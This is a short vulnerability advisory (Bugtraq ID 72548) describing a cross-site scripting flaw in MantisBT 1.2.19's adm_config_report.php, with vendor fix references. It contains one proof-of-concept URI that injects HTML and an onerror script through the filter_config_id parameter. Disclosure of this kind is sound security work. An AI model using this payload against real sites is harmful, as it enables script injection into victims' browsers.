MantisBT 'adm_config_report.php' Cross Site Scripting Vulnerability

Bugtraq ID:	72548
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 09 2015 12:00AM
Updated:	Feb 09 2015 12:00AM
Credit:	Fortinet's FortiGuard Labs
Vulnerable:	Mantisbt Mantisbt 1.2.19
Not Vulnerable:

MantisBT 'adm_config_report.php' Cross Site Scripting Vulnerability

To exploit this issue an attacker must entice an unsuspecting victim to follow a malicious URI.

the following example URI is available:

http://www.example.com/mantis/adm_config_report.php?save=1&filter_user_id=0&filter_project_id=0&filter_config_id=1'+selected="selected"+></select></td></tr></table></form><img [^] onerror=alert(1) src=a>+<form><table><tr><td><select><option+value='1&apply_filter_button=Apply+Filter

MantisBT 'adm_config_report.php' Cross Site Scripting Vulnerability

Solution:
Updates are available. Please see the references or vendor advisory for more information.

MantisBT 'adm_config_report.php' Cross Site Scripting Vulnerability

References:

• Fix #19301: XSS in adm_config_report.php (MantisBT)
  
• MantisBT Homepage (MantisBT)
  
• 0019301: [FG-VD-15-008] Mantis Cross-Site Scripting Vulnerability Notification (MantisBT)